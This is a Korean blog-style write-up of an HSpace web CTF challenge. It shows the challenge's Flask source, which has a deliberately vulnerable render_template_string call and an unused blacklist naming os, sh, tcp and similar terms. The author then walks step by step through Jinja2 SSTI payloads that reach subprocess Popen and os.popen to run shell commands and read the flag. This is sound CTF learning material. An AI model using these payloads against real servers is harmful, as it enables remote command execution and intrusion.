HSpace에서 진행하는 Web CTF 문제를 풀었다. 이비전 사담방에서 선배님들이 쉬운 문제 하나 있다길래...ㅎㅎ 냉큼 들어왔지~!
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
import re
app = Flask(__name__)
blacklist = ['os','subprocesses','exec','vars','sys','"','\+','open','rm','main','static','templates','ctf','rf','spawnlp','execfile','dir','dev','tcp','sh','import','built','__class__','for','request','\,','app','file','url_for','\[','\]','config']
def Prevent_SSTI(input):
for i in blacklist:
res = re.search(i,input)
if res:
return True
else:
return False
@app.route('/')
def main():
name = request.args.get("name", "World")
return render_template_string(f'Hello {name}!!')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
문제 페이지와 app.py 코드이다. 이상하다고 생각했던 건... Prevent_SSIT 함수를 만들어놓고 왜 메인에서 안 썼는지... 근데 그냥 힌트 준 것 같다.
@app.route('/')
def main():
name = request.args.get("name", "World")
return render_template_string(f'Hello {name}!!')
이 부분 보면 name 매개변수를 url 리퀘스트로 받는데, 기본값을 World로 하는 것 같다. 가장 처음 페이지에서 리퀘스트를 주지 않았으니 Hello World!!를 출력한 듯
그렇군 그렇군. url에 ?name=name을 입력하니 Hello name!!을 출력한다.
문제 코드에서 SSTI 블랙리스트가 있었으니 SSTI로 접근~!
순서대로 진행해보자.
${7*7}은 안 되고 {{7*7}}은 동작한다!
{{7*'7'}}을 입력했을 때 7777777이 나오는 걸 보니 jinja2인 걸 알 수 있다.
템플릿이 jinja2임을 알았으니 제일 먼저 config 페이로드를 작성해보자. 문제 코드 Blacklist에 config도 있었는데, 아까 이상하다고 생각했던 것처럼 main에서 검증을 안함... 진짜인지 확인하러 감~!!
...머지? 진짜 필터링 안 한다... 그럼 그냥.... 하면 대자나...?
{{''.__class__.__mro__}}
페이로드를 작성해주었다. 오. object class 사용 가능! object 클래스의 서브클래스를 확인해보자.
{{''.__class__.__mro__[1].__subclasses__()}}
오... 와우... 뭐가 짱 많음. 괜찮아 popen 있는지만 확인하면 돼~!
그렇지~~
popen이 [494] 인덱스에 있다는 것까지 확인했다. 그럼 이제
{{''.__class__.__mro__[1].__subclasses__()[494]('cat flag.txt',shell=True,stdout=-1).communicate()}}
를 입력해주자.
우왕 해결~
flag: hspace{57a32c35915278d4de4ca21a8dc22b7f642a2a33e1508050c9498e1e48290e38}
추가로!
{{cycler.__init__.__globals__.os.popen('cat flag.txt').read()}}
SSTI 찾아보다가 이렇게 작성하는 방법도 있길래 해봤더니 이것도 flag를 보여준다. 리눅스 명령어 조금 더 공부하고... 암튼 열심히 해봐야겠당...